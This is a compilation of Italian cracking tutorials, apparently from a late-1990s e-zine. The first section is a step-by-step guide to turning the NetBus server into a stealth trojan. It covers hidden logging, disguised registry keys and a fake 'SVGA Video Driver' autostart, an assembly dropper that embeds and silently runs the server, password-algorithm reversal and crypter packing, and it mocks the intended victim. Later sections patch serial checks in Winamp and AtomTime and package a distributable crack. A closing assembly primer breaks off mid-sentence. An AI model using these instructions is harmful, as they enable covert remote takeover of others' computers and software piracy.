:004057E9 6880000000 push 00000080 <-----FILE_ATTRIBUTE_NORMAL
:004057EE 51 push ecx
:004057EF 6A00 push 00000000
:004057F1 52 push edx
:004057F2 50 push eax
:004057F3 8D4648 lea eax, dword ptr [esi+48] <-----Esi+48 punta
al nome log.txt
:004057F6 50 push eax
:004057F7 E80CBAFFFF KERNEL32!CreateFileA
:004057FC 83F8FF cmp eax, FFFFFFFF
:004057FF 0F84EB000000 je 004058F0

per prima cosa cambiamo quel push 80 in push 02, cioè da push
FILE_ATTRIBUTE_NORMAL diventa push FILE_ATTRIBUTE_HIDDEN, e poi cambiamo il
nome da Log.txt a s_s.vxd, quindi da sice scrivete: a 4057e9 e poi
push 2
nop
nop

quindi portatevi all'offset 4BE9h e cambiate 688000000 in 6A02909090, poi
andate all'offset 67E04h e cambiate Log.txt in s_s.vxd, salvate il tutto e
provate :) dhe hi hi hi come godo, non vedo l'ora di provarlo il mio trojanino
:)...bhè a me comunque funziona :)))), bene quindi il primo male è fixato,
manca il secondo :) ma siccome (che ci crediate o no) sono passate delle ore
dall'inizio della seconda parte del tutorial io vado un po' a riposarmi :)
Eccomi tornatooooooo :))))) hihihihi, allora, se non erro si doveva parlare
del secondo problema...già, bhè, il NetBus potrebbe anche essere un
quasi-trojan se non avesse una grave pecca, cioè se noi lo spediamo a qualcuno
e quel "qualcuno" lo avvia, il programma non corre subito a nascondersi ma
anzi gli si presenta davanti come un merluzzo, e questo sapete perchè? Bhè
perchè il caro programmuzzo vuole essere configurato a dovere ed è inutile
configurarlo a casa perchè lui va a cercare delle chiavi nel registro, cosa
farà allora il caro Que? Sicuramente cambierà il valore di queste chiavi
vero?..Si vero :), allora ragazzo aprite il regedit e successivamente la
chiave HKEY_CURRENT_USER, orroreeeee c'è una chiave che si chiama NetBus
Server, già, apritela e troverete tante belle cosette :), aprite la SubKey
General e guardatevi un po' i valori, tenete conto che il valore 1 significa
vero ed il valore 0 significa falso (all'insegna di uno sfacciato uso i
classici valori booleani :), nella chiave general la prima stringa deve stare
a 1 altrimenti il server non accetta connessioni dal client, AccessMode
dovrebbe stare a 2 perchè ci da il livello di accesso più alto, AutoStart mi
sembra ovvio che deve stare a 1, TCPPort la settate come vi pare e Visibility
deve stare a 3 che vuol dire il più alto grado di invisibilità, poi nell'altra
SubKey, quella che si chiama Protection ci sta la password che se non è
settata fa assumere alla stringa un valore di "A", la pass è però crittata, ma
di questo parleremo solo dopo :), il nostro lavoro consite ora nel cambiare i
nomi nel modo più inoffensivo possibile e di settare i valori di default
secondo il NOSTRO default :)))
Per cercare il nome della chiave principale basta fare un search nell'hex
editor, cmq il valore giusto sta a 66254h, mentre per trovare il nome delle
due subkey dobbiamo procedere diversamente. Già, dobbiamo usare un metodo un
po' più leim, in pratica cerchiamo il nome della chiave e cambiamo ogni
stringa che troviamo, questo lavoro può sembrare barbaro ma si deve davvero
fare :), eccovi comunque la locazione di tutte le stringhe "General", potete
scegliere qualunque nome ma vi consiglio di usare un nome con la stessa
lunghezza dell'originale perchè altrimenti dovreste cambiare il byte che
indica al RegOpenKeyExA di quanti byte deve essere il nome della key, se
invece usate un nome più corto allora dovrete riempire solamente lo spazio
restante con degli zeri, io ho scelto questo nome TCP_IP......scusate...eccovi
gli offset delle stringhe da cambiare: 65798h, 65BC0h, 65E64h, 660ACh, fatto?
Bene, salvate tutto, avviate il file vedete se la chiave Web/TCP_IP viene
generata, cambiate dei valori e vedete se vengono settati...Okkei a me
funziona...Coraggio la stessa cosa per la SubKey di nome "Protection", io la
chiamerò DefBrowser: 65C30h, 65ED4h, 6611Ch, ed ora andiamo a cambiare le
ultime stringhe, eccovene un breve riassunto degli offset:

Accept: 65BB0h, 65E54h, 6609Ch (io l'ho chiamata Downll)
AccessMode: 65BF4h, 65E98h, 660E0h (la mia è InternetSp)
AutoStart: 65C08h, 65EACh, 660F4h (la mia è LocationT)
TCPPort: 65BD0h, 65E74h, 660BCh (la mia l'ho chiamata DNSHost)
Visibility: 65784h, 65BE0h, 65E84h (la mia si chiama PingTimeRe)
Password: 65C1Ch, 65EC0h, 66108h (la mia è Referrer)

Questo lavoro è stato di tutto riposo ma ora dobbiamo fare in modo che i
valori settati dal programma al primo avvio siano diversi, per fortuna la
strada non dobbiamo cercare le stringhe nel file come prima altrimenti il
nostro tentativo di reversing sarebbe diventato mooooolto tedioso :). Come
prima cosa dobbiamo capire come vengono create le chiavi e le stringhe nel
registro, quindi settate un bp su RegSetValueExA....avviate il netbus...e
sbam....
:0045B161 8B45FC mov eax, dword ptr [ebp-04] <-----Muovi in eax
il valore da inserire nella stringa del registro
:0045B164 50 push eax
:0045B165 56 push esi
:0045B166 6A00 push 00000000
:0045B168 8BC7 mov eax, edi <-----Muovi in eax il nome della
chiave del registro che si sta modificando
:0045B16A E8ED8DFAFF call 00403F5C
:0045B16F 50 push eax
:0045B170 8B4304 mov eax, dword ptr [ebx+04]
:0045B173 50 push eax
:0045B174 E84FB4FAFF advapi32.RegSetValueExA
:0045B179 85C0 test eax, eax
:0045B17B 742E je 0045B1AB

come vedete è abbastanza semplice, al primo break la chiave esaminata sarà la
nostra Downl (cioè Accept) ed eax al RVA 45B161 punterà al valore di
default....0 :)) ma vogliamo fare una cosa intelligente? Dunque, sappiamo che
tutti i valori vengono settati tramite la stessa routine e tutti con lo stesso
ordine cioè:

Downl = 0
DNSHost = 20034
PingTimeRe = 0
InternetSp = 2
LocationT = 0
Referrer = A

cosa cerchiamo di più dalla vita?
i valori che ci interessano sono solo tre:
Accept connections
Invisible (95/98)
AutoStart
tanto Full Access è settato di default, quindi dobbiamo fare un po' di coding
e dobbiamo settare le chiavi nel registro a questi valori:

Accept connections (Downll) a 1
Invisible 95/98 (PingTimeRe) a 3
Autostart a 1

le vie che ci si pongono davanti sono due:
1) inserire codice nostro per creare le chiavi
2) includere il programma in un sorgente nostro e poi fargli fare tante cose
belle
in realtà potremmo scegliere la prima soluzione ma allora dovremmo inserire
davvero moltissimo codice, per questo faremo la seconda, iniziamo con l'aprire
il nostro file con il Resource Workshop ed eliminiamogli l'icona così sembrerà
un comune exe, poi facciamoci un'idea di come si comporterà il nostro
pargolo...per prima cosa all'avvio creerà le chiavi nel registro, il programma
padre (quello che stiamo per creare) estrarrà quindi il pargoletto in una
directory mooooolto affollata, avvierà il pargolo e quest'ultimo sarà felice
di consentirci l'accesso al computer, potremmo corredare anche il tutto con
una bella messagebox tanto per non far insospettire il lamer di turno :) ma
questo lo farete da soli :)...A questo punto dovete fare alcuni ritocchi
perchè il lavoro sul file del netbus è oramai finito, quindi cambiate TUTTE le
stringhe NetBus Server con altre (ma non toccate la stringa NetBuse Base) e
soprattutto fate una cosa, se settate "Autostart every windows session" a 1
allora il programma inserirà una chiave nel registro di windows a
HKEY_LOCAL_MACHINE\Software\Mircosoft\Windows\CurrentVersion\RunService che si
chiamerà NetBus Server Pro, questa stringa la trovate nel file all'offset
67AE4h (la troverete a questo offset solo dopo aver eliminato l'icona
altrimenti sarà altrove :) ed io l'ho cambiata in SVGA Video Driver heheheh
che furbone :))). Dobbiamo fare in modo che il programma setti le chiavi nel
registro prima che si avvii ed i passi che seguiremo saranno questi:

1) Creazione di un programma ASM che crei le chiavi per fatti suoi
2) Inclusione del NetBus Server nel programma
3) Estrazione del server dal file ed esecuzione dello stess

ovviamente ho già fatto tutto io ed il codice lo troverete nel file che avete
dovuto scaricare all'inizio del tutorial, ma credo sia giusto spiegarvi come
fare: innanzitutto creerete il programma che setta le chiavi e lo testerete,
poi con l'utility "Bin2Db" che si trova nel pacchetto convertirete l'exe
originale del server in un file di testo scrivendo al prompt di dos: bin2db
nbsvr.exe nb.txt
così vi ritroverete sull'hard disk un bel file di testo di 1.1Mb, non dovete
far altro che copiare tutto quel file nel sorgente ASM del programma appena,
eccovi cosa vedrete prima della procedura:
lpData4th db '65842',0 ; TCPPort number
lpData5th db '2',0 ; Access mode: full
lpValueName4th db 'DNSHost',0 ; TCPPort
lpValueName5th db 'InternetSp',0
Buffer dd 3 dup (0)
Value dd 1
handle dd 0
Random1 dd 1
Random2 dd 812041h
ff dd 5 dup (0)
; Attenti a cosa succede qui
File_Size dd 270336
B dd 4
NewFileLocation db 'c:\windows\system\',0
Buff dd 4 dup (0)

.code

Start:
push offset lpdw
push offset Result
push NULL
push 1F0003h
push NULL
push NULL
push NULL

ecc....ed ecco cosa vedrete dopo:

Buffer dd 3 dup (0)
Value dd 1
handle dd 0
Random1 dd 1
Random2 dd 812041h
ff dd 5 dup (0)
; Qui ho inserito Bytes_To_Write contenente tutti i bytes dell'exe originale
Bytes_To_Write db 077,090,080,000,002,000,000,000,004,000
db 015,000,255,255,000,000,184,000,000,000
db 000,000,000,000,064,000,026,000,000,000
db 000,000,000,000,000,000,000,000,000,000
db 000,000,000,000,000,000,000,000,000,000
db 000,000,000,000,000,000,000,000,000,000
db 000,001,000,000,186,016,000,014,031,180
db 009,205,033,184,001,076,205,033,144,144
db 084,104,105,115,032,112,114,111,103,114
................
...............
File_Size dd 270336
B dd 4
NewFileLocation db 'c:\windows\system\',0
Buff dd 4 dup (0)

Se avvierete il programma succederanno in sequenza tutte queste cose:
creazione di tutte le chiavi nel registro, creazione di un nome casuale di 8
caratteri, estrazione del server nella directory windows\system con il nome
casuale, esecuzione del server. A questo punto avrete accesso alla macchina
remota ma come vedete la password non è settata:

lpData1_st db 'A',0 ; Password (A= No password set)

potremmo anche non settarla e lasciare l'accesso libero ma visto che siamo
reverser andiamo a reversare l'algo che generea questa password e facciamo un
generatore di password, prima di iniziare dovete sapere che quando inserite
una password questa viene crittata, viene preceduta dal carattere "A" e
salvata nel registro, al momento della connessione il Client critta la
password ed il Server la confronta con quella che si trova nel registro, se
sono uguali fa passare la richiesta di connessione. Come prima cosa aprite il
server, settate una pass "ad cazzum", mettete un breakpoint su hmemcpy (bpx
hmemcpy), premete okkei e steppate fino ad arrivare al RVA 00464689 o
semplicemente una volta entrati nel codice del server scrivete "g 464689",
cancellate tutti i bp (bc*) e dovreste approdare qui (stiamo parlando del file
originale, quindi ancora non l'icona):

CODE:00464689 mov eax, [ebp+var_8] ; Muovi
in EAX l'offset della password
CODE:0046468C mov edx, [ebp+var_18] ; Muove in
EDX il numero del carattere che si sta esaminando
CODE:0046468F movzx eax, byte ptr [eax+edx-1] ; Mov in EAX un
carattere della password inserita
CODE:00464694 add ebx, eax
; Aggiungi ad EBX che al primo loop contiene 41h (in ASCII = A) il carattere
che si
; sta esaminando
CODE:00464696 and ebx, 800000FFh ; Se il
risultato è più grande di due cifre taglialo
CODE:0046469C jns short CODE_4646A6
CODE:0046469E dec ebx

CODE:0046469F or ebx, 0FFFFFF00h
CODE:004646A5 inc ebx
CODE:004646A6 cmp esi, [ebp+var_10] ; Confronta
esi (usato come contatore) con la lunghezza della stringa "NetBus Base"
CODE:004646A9 jge short CODE_4646AE ; Se è più lungo
reinizializza il contatore
CODE:004646AB inc esi
CODE:004646AC jmp short CODE_4646B3
CODE:004646AE mov esi, 1
CODE:004646B3 mov eax, [ebp+var_4]
CODE:004646B6 movzx eax, byte ptr [eax+esi+8] ; Muovi in EAX
un carattere della stringa "NetBus Base"
CODE:004646BB xor ebx, eax ;
Xora EBX con il carattere che si trova in EAX
CODE:004646BD lea eax, [ebp+var_1C] ; Da qui
in poi la pass viene solamente spostata in un buffer
CODE:004646C0 mov edx, ebx
CODE:004646C2 call CODE_403CC0
CODE:004646C7 mov edx, [ebp+var_1C]
CODE:004646CA lea eax, [ebp+var_14]
CODE:004646CD call CODE_403DA0
CODE:004646D2 inc [ebp+var_18]
CODE:004646D5 dec edi
CODE:004646D6 jnz short CODE_464689 ; Continua fino
alla fine della password


non disperate, ora vi spiego il funzionamento di questo semplicissimo
algoritmo: per prima cosa viene sommato ad EBX il codice esadecimale del
carattere che si sta esaminando, in EBX al primo loop troviamo 41h che in
ASCII corrisponde al carattere "A", nei successivi loop troviamo in EBX il
risultato delle operazioni successive e non più 41h...Viene fatto un check e
se il contenuto di EBX occupa più di un byte allora viene troncato, poi sempre
questo risultato viene xorato con i caratteri di una stringa che si trova nel
server cioè: "NetBus Base", è ovvio che se cambiate la stringa al client si e
al server non o viceversa non otterrete nessuna password valida, quindi
attenti :) ecco a voi questo stupido algoritmo, ho creato il programma che vi
critta la pass, in questo modo potrete scegliere una pass che più vi aggrada e
sostituirla nel sorgente. Il problema è che il DOS non ha tanti caratteri
quanti windows e quindi non dovrete far altro che lavorare pochissimo di Sice,
davvero solo due righe, io ho infilato nel programm un INT 3 così da farvi
trovare subito la pass, ecco come fare: clickate sul programma, una volta
avviato aprite sice e mettete un bp sull'interrupt 3 (bpint 3), scrivete nel
programma la password che volete ed otterrete questo:
Insert your password: MyPassword
appena premerete invio sice popperà e voi dovrete scrivere: d si+2a-si+1
a vi verrà visualizzata nella finestra dei byte la vostra pass, prendete un
foglietto e segnatevela tutta, a me, se scelgo come password "MyPassword" è:
415CD87B9B7DD4011205
mi raccomando, andate a guardare i byte a sinistra e non i caratteri ascii a
destra :), poi prendete il sorgente del programma e sostituite a questa riga:
lpData1_st db 'A',0 ; Password (A= No password set)
questa:
lpData1_st db 41h, 5Ch, D8h,7Bh,9Bh,7Dh,D4h,01h,12h,05h,0 ; Password
settata
è molto semplice, vi scrivete i byte e li riportati tali e quali nella stringa
di sopra, ricordando di mettere uno zero davanti ogni coppia di byte che
inizia per lettera e di mettere un ",0" a fine stringa....Se potete compilare
il file allora sapete che dovete fare, se invece siete nuovi della
programmazione allora guardate bene l'esempio e capirete :).
Fatto questo, compilate il file, passate tutto sotto lo stone Pe Crypter e poi
sotto l'ASPack :).....Se mi va può anche darsi che faccio un configuratore per
il QueBus....Ma non si sa :)))))
Bhè questo tutorial è finalmente finito, sono molto felice e non vedo l'ora di
chiudere l'editor sennò mi vengono in mente altre centomila cosa e non la
smetto più :) ciauzzzzzzzz

Quequero
Note finali

Un ringraziamento particolarissimo va a:
Kill3xx: grazie kill, e soprattutto grazie per rispondere SEMPRE e tutte le
mie domande, grazie ancora tanto
Yado: grazie a yado che mi ha passato la sua routine per creare le chiavi nel
registro di windows che le mie non volevano mai funzionare :)

Altri saluti vanno a: Neural_Noise, +Malattia, Zorks56, +Xoanon, Alt255, Ritz,
/Spirit/, Zer0Byte, Baron-Sam, Cod, Courier^ (ma che fine hai fatto?), T3x,
Sorrow, fravia+, Oldiron61, Nobody88, Bobo, Lando, SandMan, Linox, Marco C.,
YanOrel....Bhè non me ne vengono più in mente :) ciauzzzzzzzzzzzzzzzz

Un fuck stramiticuzzo va a:
Buelti: che mi ha ripagato un grosso favore bannandomi dal suo chan
Tiscali: che a l'Aquila doveva aprire a settembre ed ora non apre neanche
entro il 1999
Alla neve: che non arriva mai e io devo andare a sciare :)
Alla telecoz: perchè è antipatica
A Bill Gate$: che presto ci regalerà i sorgenti
A Brioz: che se non la finisce con le sue fottute minaccie un giorno a l'altro
m'inkazzo
A tutti gli SPAMMATORI (o spammer se siete esterofili) che non la finiscono
mai di darci fastidio
ciauzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
Disclaimer

vorrei ricordare che il software va comprato e non rubato, dovete
registrare il vostro prodotto dopo il periodo di valutazione. Non mi ritengo
responsabile per eventuali danni causati al vostro computer determinati
dall'uso improprio di questo tutorial. Questo documento è stato scritto per
invogliare il consumatore a registrare legalmente i propri programmi, e non a
fargli fare uso dei tantissimi file crack presenti in rete, infatti tale
documento aiuta a comprendere lo sforzo immane che ogni singolo programmatore
ha dovuto portare avanti per fornire ai rispettivi consumatori i migliori
prodotti possibili.
Noi reversiamo al solo scopo informativo e di miglioramento del linguaggio
Assembly.
Capitoooooooo????? Bhè credo di si ;))))



#---[reversing Winamp]-----------------------------------------------+KILLER+---------#


reversing Winamp

Trasformare winamp in un generatore di chiavi autoregistrante

Bene Bene miei amici aspiranti crackers; come sapete devo fare una premessa tanto per pararmi il culo: Questo tutorial è solo a scopo educativo, non mi assumo responsabilità per qualsiasi altro uso di ogni ciò che è riportato in questo manuale.

Ok dopo questa premessa che come già detto non mi fa incarcerare possiamo passare alla parte I° del mio tutorial.(per rendere il crack più facile ho deciso di scrivere il tute suddividendolo in passi.



Indice

I->Tools necessari.

II->Primo approccio con il crack.

III->Seconda parte del crack.

IV->Crack pronto per la distribuzione.

V->Conclusioni


Step I

Tools necessari

1) Winamp 2.10 (Target) (www.winamp.com)

2) Win32dasm 8.9 or higer (http://ringzer0.cjb.net)

3) Editor esadecimale

4) Patcher PMaker 0.99 alpha by kill3x (http://ringzer0.cjb.net)

5) Numega Softice 3.24 or higer


Step II->Primo approccio con il crack

Eseguiamo winamp e andiamo dalla voce del menu "Nullsoft winamp" all'opzine "Shareware". Ora noteremo che compare la scritta che vi dice che state usando una versione non registrata di winamp e vi chiede di registrarla. Ok clickkiamo sul pulsante "Enter registration info" e inseriamo un nome a caso (io uso il mio nick) e un numero a caso (123456); poi apriamo sice con ctrl+D e scriviamo bpx getdlgitemtexta e usciamo. Ora aggiungiamo un numerino a caso nel campo del seriale dove già abbiamo scritto altri numeri a casaccio e walà sice si poppa sulla funzione getdlgitemtexta. Ora premiamo F11 per uscire dalla call e troviamo:


* Reference To: USER32.GetDlgItemInt, Ord:0103h
|
:00401F01 FF152CD34300 Call dword ptr [0043D32C]-->prelieva il seriale immesso
:00401F07 8BF0 mov esi, eax
:00401F09 8D4580 lea eax, dword ptr [ebp-80]
:00401F0C 50 push eax
:00401F0D E8BF2D0200 call 00424CD1-->genera il seriale in base al nome
:00401F12 3BC6 cmp eax, esi-->verifica se è giusto
:00401F14 59 pop ecx
:00401F15 750A jne 00401F21-->salta se il seriale è sbagliato.
:00401F17 807D8000 cmp byte ptr [ebp-80], 00
ecc....

Quindi come mostra il codice bisogna evitare sto salto; come fare allora? Il problema si raggira semplicemente con un nop; quindi apriamo l'editor esadecimale troviamoci la il comando 750a e sostituiamolo con un bel 9090. Salviamo ora il codice come Winamp1a.exe e usciamo dall'editor.
Testiamo l'exe e vedremo ora che qualsiasi sia il seriale inserito si attiverà il tasto ok ma non comparirà dopo che sarà uscito dalla finestra per l'immissione del seriale la scritta: "licensed to [nick immesso]" ciò vuol dire che ci troviamo di fronte ad un altro check del seriale.


Step III->seconda parete del crack.

Ok, ora apriamo il file salvato con win32dasm e poi dal menu "Refs" clickkiamo su "String Data Referrences"; Cerchiamoci prima il messaggio: "----- LICENSED TO: %s (%d) -----"; e gurdiamo il codice che si trova prima del suddetto messaggio e troveremo un'altra rutine di controllo del seriale che in caso positivo procede altrimenti salta ad unregistred.

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00401D50(C), :00401D55(C)
|
:00401D64 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00]
:00401D6A 50 push eax
:00401D6B E8612F0200 call 00424CD1
:00401D70 59 pop ecx
:00401D71 3BC6 cmp eax, esi-->controlla il seriale
:00401D73 5E pop esi
:00401D74 7519 jne 00401D8F-->se è giusto prosegue altrimenti salta al messaggio "UNREGISTERED SHAREWARE VERSION - PLEASE REGISTER"
:00401D76 50 push eax
:00401D77 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00]
:00401D7D 50 push eax
:00401D7E 8D8500FAFFFF lea eax, dword ptr [ebp+FFFFFA00]

* Possible StringData Ref from Data Obj ->"----- LICENSED TO: %s (%d) -----"
ecc.....

Bene noi dobbiamo quindi invertire il jmp incriminato per poter far apparire in ogni caso la scritta "licensed to [nick](seriale corretto)"; e quindi abbiamo:

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00401D50(C), :00401D55(C)
|
:00401D64 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00]
:00401D6A 50 push eax
:00401D6B E8612F0200 call 00424CD1
:00401D70 59 pop ecx
:00401D71 3BC6 cmp eax, esi-->controlla il seriale
:00401D73 5E pop esi
:00401D74 7419 je 00401D8F-->ora il salto non avverrà e si avrà l'effetto desiderato. :)))))
:00401D76 50 push eax
:00401D77 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00]
:00401D7D 50 push eax
:00401D7E 8D8500FAFFFF lea eax, dword ptr [ebp+FFFFFA00]

* Possible StringData Ref from Data Obj ->"----- LICENSED TO: %s (%d) -----"
ecc.....

Step IV->Crack pronto per la distribuzione.

Ok ora prendete il vostro editor esadecimale, aprite Winamp1a.exe, e modificate il 7519 in 7419.
Ora prendete il Patcher di kill3x: PMaker 0.99 alpha e cliccate sul pulsante new project; riempite i vari campi come volete voi e poi selezionate il menù "bytePacth"; poi fate clic sul pulstante "Files Cmp" e inserite le path prima del file non crackkato e poi quella del file crackkato. Fatto ciò cliccate sul pulsante "build" e poi clikkate su "ok"; Tornate al menù project e inserite se volete il vostro logo (se lo avete) premendo il pulsante "bitmap" e l'icona che volete dare al file del vostro crack tramite il pulsante "Icon"; dopo che avete completato tutto cliccate su "Compile" per generare il file exe del crack.
Ora avete realizzato un crack per la distribuzione il cui file si chiamerà patch.exe che potrete anche rinominare.

Step V->Conclusioni
Bene, spero di essere stato chiaro con questo tutorial e di avervi dato nozioni sia di cracking che di reverse engeneering. Penso che scriverò altri tutes dopo questo (in verità sono già scritti ed in attesa di essere pubblicati) quindi colgo anche l'occasione di salutare Attila_hk,
Neural_ns, Cod, Zerobyte^, Furb3t e tutti i miei amici di #crack-it.
Arrivederci alla prossima!!!!



|| || || || |||||||| ||||||
|| || || || || || ||
|| || || || || || ||
|||| || || |||||||| ||||||
|| || || || || || ||
|| || || || || || ||
|| || |||||||| |||||||| |||||||| || ||




#---[AtomTime CRack]-------------------------------------------------+BobbyMetal+-----#


AtomTime CRack


COME CRACKARE ATOMTIME '98
BY
+++ BOBBYMETAL +++

DISCLAIMER - Questo piccolo tutorial è stato scritto a scopo puramente educativo. Pertanto io non mi assumo la benchè minima responsabilità sul contenuto del medesimo, sugli utilizzi impropri delle informazioni qui contenute e di eventuali danneggiamenti accidentali e non.

Materiale occorrente:
Wdasm 8.9
Hacker's View 6.0 or higher
Un saluto a: BoBo, LaNdo, ZioMarzo (che se non mi uccide adesso... gli ho cambiato articolo 3 VOLTE :-))) ), Reset, Quequero, Cod, Ritz, Alt255, alla Valvoline Crew perchè sono dei grandi, a Dudez, Alor, erGoline, Wally, Valerio e tutti gli amici del chan #crack-it.

Dedicato a: quel simpaticone che chiedeva nei vari NG dove trovare un cracckatore universale... ohh, sono troppo giovane per essere già disoccupato :-))))

01 CLS
10 PRINT "COME CRACKARE ATOMTIME '98"
20 PRINT "SEI INTERESSATO? (S/N)"
30 INPUT A$
40 IF A$="n" OR A$="N" THEN GOTO NEXT ART.
50 PRINT "BRAVO, CONTINUA A LEGGERE!"

:-)))) Uao!, me lo ricordo ancora dopo tanti anni!!! Beh, ora direi che bisogna cominciare...Devo premettere che questo art. non l'ho scritto sul il crack in sé stesso ma "orientandolo" in modo da far capire ai newbies di quest'arte il ragionamento logico che sta dietro un crack
Allora, avviamo il prg. e tentiamo di registrarci con un solito codice a caso. Se vi dice che il codice è corretto mandatemi una mail con i numeri che vorreste giocare al super-enalotto :-PPPP, altrimenti scrivete il messaggio di errore (in questo caso "License data is invalid. Either...). Ora apriamo Wdasm, Disassembler, Open file to disassemble, selezioniamo l'eseguibile, aspettiamo che lo apra ed andiamo a guardare le String References (penultimo pulsante da destra) (lo so, con il SICE è tutto più facile e veloce, ma uno che sa bene utilizzare il SoftICE per crackare non ha certo bisogno di questo tut. !!). Beh, bisogna dire che i programmatori non si siano dati la briga di nascondere le ref. perchè verso la metà troviamo i seguenti messaggi:
"
License validated. Thank you "
Eh eh, proprio quello che cercavamo :)).
"
Ma come", direte voi, "ignori il messaggio di errore che hai trovato prima?" Il fatto è che ovviamente scrivo questo tut. DOPO aver crackato il prg. e so che attorno a quella ref. rischiamo di perderci tra le call ed i jump, così usiamo un altro "metodo". Non può non saltare all'occhio (ahii! :-PP) alla riga 00406010 un jump condizionato che, guarda caso, ci porta all ref. di errore. Ehi! così è troppo facile. Un jump è un "salto" del programma ad un certo punto. Per esempio il programma dice "Il codice inserito è giusto?" Se sì vai al messaggio che dice che è registrato, altrimenti dai l'errore. Questo "vai" è un jump. Esistono vari tipi di jump: quelli che useremo per questo programma sono solo di due tipi:
74 JE (jump if is equal) ovvero "
se è uguale salta".
75 JNE (jump if is not equal) ovvero "
se NON è uguale salta".
I numeri che li precedono solo il loro corrispettivo in esadecimale. Ci serviranno dopo per poter patchare l'eseguibile.
Ora andiamo nella directory del programma e facciamo un copia di nome atomtime2.exe e avviamo Hiew. Ctrl+\ per andare in C:, poi entriamo nella cartella del programma, invio sul atomtime2.exe, F4, selezioniamo decode, F5, mettiamo l'offset del jump alla riga 00406010 che in questo caso è 00004C10 (lo trovate nella barra in basso del Wdasm dove c'è scritto @offset .....), ora F3, mettiamo 75 (jne), invio fino a che non scompaiono le finestre, F9 per salvare ed F10 per uscire. Ora lanciamo l'eseguibile, ci registriamo e tadaaa!! Codice esatto! Ora usciamo e rientriamo. Doh! Non c'è l'ha mica registrato! :((( Ha solo cambiato il messaggio!! Beh, se esegue questo jump vuol dire che almeno fino a questo punto il programma ci arriva, quindi l'altro punto da patchare si trova sotto questo... Guardiamo la prima call, niente di utile, la seconda, toh, c'è un test eax, eax seguito da un jump. Proviamo a modificarli! Allora, debug, load process, load, goto address, mettiamo l'indirizzo del jump ovvero 0040A58F, patch code, jne 0040A59A, invio, apply patch, sì, close, sì- Run. A parte il nag iniziale che dice che "
licensa data is invalid..." tutto OK. Modifichiamo come fatto prima, lanciamo e vediamo che è tutto OK, ma non possiamo lasciare quel messaggio!! Cerchiamo ancora nelle string refs e troviamo un "License data is not valid.". Perfetto! Andiamo a vedere dove ci porta... Scorrendo in su vediamo un Jne... Prima regola per crackare un programma: mai tralasciare un jump. Proviamo a patchare debuggando anche qui e... CRACK EFFETTUATO!!!!!! Riepiloghiamo i jump da modificare:
00406010 da JE a JNE
0040A58F da JE a JNE
00404788 da JNE a JE

60 PRINT "
BRAVO, HAI CRACKATO IL TUO PRIMO PROGRAMMA"
70 PRINT "
CIAO, ALLA PROSSIMA!!!!"
80 END
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
__ _
/ _\ ___ ___(_) ___ _ __ ___
\ \ / _ \_ / |/ _ \| '_ \ / _ \
_\ \ __// /| | (_) | | | | __/
\__/\___/___|_|\___/|_| |_|\___|

___ BoBo & LaNdo _
/ _ \_ __ ___ __ _ _ __ __ _ _ __ ___ _ __ ___ (_)_ __ __ _
/ /_)/ '__/ _ \ / _` | '__/ _` | '_ ` _ \| '_ ` _ \| | '_ \ / _` |
/ ___/| | | (_) | (_| | | | (_| | | | | | | | | | | | | | | | (_| |
\/ |_| \___/ \__, |_| \__,_|_| |_| |_|_| |_| |_|_|_| |_|\__, |
|___/ |___/



#---[Bit, Byte, Word, Kilo, Mega]------------------------------------+b0nu$+----------#


Bit, Byte, Word, Kilo, Mega
**********************************
* b0nu$ presenta *
* *
* PROGRAMMAZIONE IN ASSEMBLY *
* *
* #2# *
**********************************
Bit, Byte, Word, Kilo, Mega
===========================================================================
Questi file sono protetti dal diritto d'autore e sono liberamente
riproducibili a condizione di non farne uso comemrciale o economico o per
fine di lucro senza la preventiva autorizzazione dell'autore. In ogni caso
deve sempre essere indicato il nome dell'autore e il suo indirizzo. Ogni
altra modalita' di utilizzo deve considerarsi contraria alla volonta'
dell'Autore.
===========================================================================
Come abbiamo visto nel precedente tutorial i calcolatori lavorano con numeri
binari.
Bene, un numero binario è composto da un certo numero di zeri e uni che presi
singolarmente prendono il nome di BIT.
Il BIT è la forma più breve di informazione può essere solo 0 o 1.
Se prendiamo 8 bit e li affianchiamo otteniamo il famoso BYTE , quindi
01101001
10010001
00000100
sono byte. Il Byte è anche la quantità minima di informazione indirizzabile ed
utilizzabile nella programmazione, difficilmente andrete a leggere in memoria o
in CPU quantità piu' piccole di un Byte.
Con un Byte possiamo rappresentare tutti i numeri tra 0 e 255 (ricordate 2^8-1)
e in esadecimale tra 0 e FF.
L'unione di 2 byte da luogo ad una WORD (16 bit), con una word si possono
rappresentare tutti i numeri tra 0 e 65535 (0-FFFF).
Dopo la word (provate ad indovinare !!) c'è la DOUBLE WORD (32 bit = 4 byte = 2
word) con la quale si possono rappresentare i numeri tra 0 e 4294967295
(0 - FFFFFFFF).
Andando avanti incontriamo il KILOBYTE che contro ogni credenza popolare NON è
1000 byte ma bensi 1024 byte (2^10=1024).Il kilobyte si indica di solito con la
lettera KB quindi 256KB sono 256000 byte.
Dopo il Kilobyte viene il MEGABYTE (MB) che non sono altro che 1048578 (2^20)
byte.
Data la forte espansione delle memorie e il forte calo dei prezzi oggi si usa
anche il GIGABYTE (1024MB) e comincia a sentirsi il TERABYTE (1024GB), ecc...
Nota folkloristica : i programmi che scrivete (in C, Pascal, ecc...) una volta
compilati e linkati altro non sono che una sequenza di zeri e uni che il
calcolatore interpreta come istruzioni e dati, pensate che i primi programmatori
non avevano a disposizione i linguaggi ad alto livello che ci sono oggi e
dovevano scrivere i loro programmi immettendo manualmente ogni byte del loro
programma.
Anche il linguaggio assembly non è il livello piu' basso in assoluto infatti
anche esso usa delle istruzioni mnemoniche per facilitare la scrittura dei
